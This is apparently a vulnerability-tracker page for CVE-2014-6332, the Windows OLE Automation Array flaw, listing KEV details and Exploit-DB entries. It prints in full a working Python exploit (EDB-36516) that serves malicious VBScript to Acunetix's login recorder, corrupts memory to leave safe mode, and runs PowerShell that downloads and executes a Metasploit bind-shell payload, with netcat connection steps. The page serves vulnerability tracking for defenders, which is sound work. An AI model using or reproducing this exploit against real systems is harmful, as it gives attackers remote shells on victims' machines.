CVE-2014-6332

unknown KEV
Published 2022-03-25 · Modified 2022-03-25
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
2.5

Description

OleAut32.dll in OLE in Microsoft Windows allows remote attackers to remotely execute code via a crafted web site.

CISA KEV

Vendor
Microsoft
Product
Windows
Due date
2022-04-15

Predictions

Exploit likelihood
99%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36516 remote windows verified python · 11 KB
Naser Farhadi · 2015-03-27

Acunetix 9.5 - OLE Automation Array Remote Code Execution

python exploit Source: Exploit-DB
#!/usr/bin/python

import BaseHTTPServer, sys, socket

##
# Acunetix OLE Automation Array Remote Code Execution
#
# Author: Naser Farhadi
# Linkedin: http://ir.linkedin.com/pub/naser-farhadi/85/b3b/909
#
# Date: 27 Mar 2015 # Version: <=9.5 # Tested on: Windows 7
# Description: Acunetix Login Sequence Recorder (lsr.exe) Uses CoCreateInstance API From Ole32.dll To Record 
# Target Login Sequence
# Exploit Based on MS14-064 CVE2014-6332 http://www.exploit-db.com/exploits/35229/
# This Python Script Will Start A Sample HTTP Server On Your Machine And Serves Exploit Code And
# Metasploit windows/shell_bind_tcp Executable Payload
# And Finally You Can Connect To Victim Machine Using Netcat    
# Usage:
#       chmod +x acunetix.py
#       ./acunetix.py
#       Attacker Try To Record Login Sequence Of Your Http Server Via Acunetix
#       nc 192.168.1.7 333
# Payload Generated By This Command:    msfpayload windows/shell_bind_tcp LPORT=333 X > acunetix.exe
# 
# Video: https://vid.me/SRCb
##

class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(req):
        req.send_response(200)
        if req.path == "/acunetix.exe":
            req.send_header('Content-type', 'application/exe')
            req.end_headers()
            exe = open("acunetix.exe", 'rb')
            req.wfile.write(exe.read())
            exe.close()
        else:
            req.send_header('Content-type', 'text/html')
            req.end_headers()
            req.wfile.write("""Please scan me!
                            <SCRIPT LANGUAGE="VBScript">
                            function runmumaa() 
                            On Error Resume Next
                            set shell=createobject("Shell.Application")
                            command="Invoke-Expression $(New-Object System.Net.WebClient).DownloadFile('http://"""+socket.gethostbyname(socket.gethostname())+"""/acunetix.exe',\
                            'acunetix.exe');$(New-Object -com Shell.Application).ShellExecute('acunetix.exe');"
                            shell.ShellExecute "powershell", "-Command " & command, "", "runas", 0
                            end function

                            dim   aa()
                            dim   ab()
                            dim   a0
                            dim   a1
                            dim   a2
                            dim   a3
                            dim   win9x
                            dim   intVersion
                            dim   rnda
                            dim   funclass
                            dim   myarray

                            Begin()

                            function Begin()
                              On Error Resume Next
                              info=Navigator.UserAgent

                              if(instr(info,"Win64")>0)   then
                                 exit   function
                              end if

                              if (instr(info,"MSIE")>0)   then 
                                         intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))   
                              else
                                 exit   function  
                                         
                              end if

                              win9x=0

                              BeginInit()
                              If Create()=True Then
                                 myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
                                 myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

                                 if(intVersion<4) then
                                     document.write("<br> IE")
                                     document.write(intVersion)
                                     runshellcode()                    
                                 else  
                                      setnotsafemode()
                                 end if
                              end if
                            end function

                            function BeginInit()
                               Randomize()
                               redim aa(5)
                               redim ab(5)
                               a0=13+17*rnd(6)
                               a3=7+3*rnd(5)
                            end function

                            function Create()
                              On Error Resume Next
                              dim i
                              Create=False
                              For i = 0 To 400
                                If Over()=True Then
                                '   document.write(i)     
                                   Create=True
                                   Exit For
                                End If 
                              Next
                            end function

                            sub testaa()
                            end sub

                            function mydata()
                                On Error Resume Next
                                 i=testaa
                                 i=null
                                 redim  Preserve aa(a2)  
                              
                                 ab(0)=0
                                 aa(a1)=i
                                 ab(0)=6.36598737437801E-314

                                 aa(a1+2)=myarray
                                 ab(2)=1.74088534731324E-310  
                                 mydata=aa(a1)
                                 redim  Preserve aa(a0)  
                            end function 


                            function setnotsafemode()
                                On Error Resume Next
                                i=mydata()  
                                i=readmemo(i+8)
                                i=readmemo(i+16)
                                j=readmemo(i+&h134)  
                                for k=0 to &h60 step 4
                                    j=readmemo(i+&h120+k)
                                    if(j=14) then
                                          j=0          
                                          redim  Preserve aa(a2)             
                                 aa(a1+2)(i+&h11c+k)=ab(4)
                                          redim  Preserve aa(a0)  

                                 j=0 
                                          j=readmemo(i+&h120+k)   
                                     
                                           Exit for
                                       end if

                                next 
                                ab(2)=1.69759663316747E-313
                                runmumaa() 
                            end function

                            function Over()
                                On Error Resume Next
                                dim type1,type2,type3
                                Over=False
                                a0=a0+a3
                                a1=a0+2
                                a2=a0+&h8000000
                              
                                redim  Preserve aa(a0) 
                                redim   ab(a0)     
                              
                                redim  Preserve aa(a2)
                              
                                type1=1
                                ab(0)=1.123456789012345678901234567890
                                aa(a0)=10
                                      
                                If(IsObject(aa(a1-1)) = False) Then
                                   if(intVersion<4) then
                                       mem=cint(a0+1)*16             
                                       j=vartype(aa(a1-1))
                                       if((j=mem+4) or (j*8=mem+8)) then
                                          if(vartype(aa(a1-1))<>0)  Then    
                                             If(IsObject(aa(a1)) = False ) Then             
                                               type1=VarType(aa(a1))
                                             end if               
                                          end if
                                       else
                                         redim  Preserve aa(a0)
                                         exit  function

                                       end if 
                                    else
                                       if(vartype(aa(a1-1))<>0)  Then    
                                          If(IsObject(aa(a1)) = False ) Then
                                              type1=VarType(aa(a1))
                                          end if               
                                        end if
                                    end if
                                end if
                                          
                                
                                If(type1=&h2f66) Then         
                                      Over=True      
                                End If  
                                If(type1=&hB9AD) Then
                                      Over=True
                                      win9x=1
                                End If  

                                redim  Preserve aa(a0)          
                                    
                            end function

                            function ReadMemo(add) 
                                On Error Resume Next
                                redim  Preserve aa(a2)  
                              
                                ab(0)=0   
                                aa(a1)=add+4     
                                ab(0)=1.69759663316747E-313       
                                ReadMemo=lenb(aa(a1))  
                               
                                ab(0)=0    
                             
                                redim  Preserve aa(a0)
                            end function

                            </script>""")

if __name__ == '__main__':
    sclass = BaseHTTPServer.HTTPServer
    server = sclass((socket.gethostbyname(socket.gethostname()), 80), RequestHandler)
    print "Http server started", socket.gethostbyname(socket.gethostname()), 80
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        pass
    server.server_close()
EDB-37400 remote windows verified
Mohammad Reza Espargham · 2015-06-27

Havij - OLE Automation Array Remote Code Execution

Source code queued for fetch — refresh in a moment.
EDB-38500 remote windows verified
Ehsan Noreddini · 2015-10-20

HTML Compiler - Remote Code Execution

Source code queued for fetch — refresh in a moment.
EDB-35229 remote windows verified
yuange · 2014-11-13

Microsoft Internet Explorer 11 - OLE Automation Array Remote Code Execution (1)

Source code queued for fetch — refresh in a moment.
EDB-35230 remote windows
Wesley Neelen & Rik van Duijn · 2014-11-13

Microsoft Internet Explorer < 11 - OLE Automation Array Remote Code Execution (Metasploit)

Source code queued for fetch — refresh in a moment.
EDB-35308 remote windows verified
GradiusX & b33f · 2014-11-20

Microsoft Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / PowerShell VirtualAlloc (MS14-064)

Source code queued for fetch — refresh in a moment.
EDB-37800 remote windows verified
Mohammad Reza Espargham · 2015-08-17

Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064)

Source code queued for fetch — refresh in a moment.
EDB-37668 remote windows
Mohammad Reza Espargham · 2015-07-21

Internet Download Manager - OLE Automation Array Remote Code Execution

Source code queued for fetch — refresh in a moment.
EDB-38512 remote windows verified
Ehsan Noreddini · 2015-10-22

The World Browser 3.0 Final - Remote Code Execution

Source code queued for fetch — refresh in a moment.

Metasploit modules

MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution
Source fetch failed: fetch_error — view the original via the link above.

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.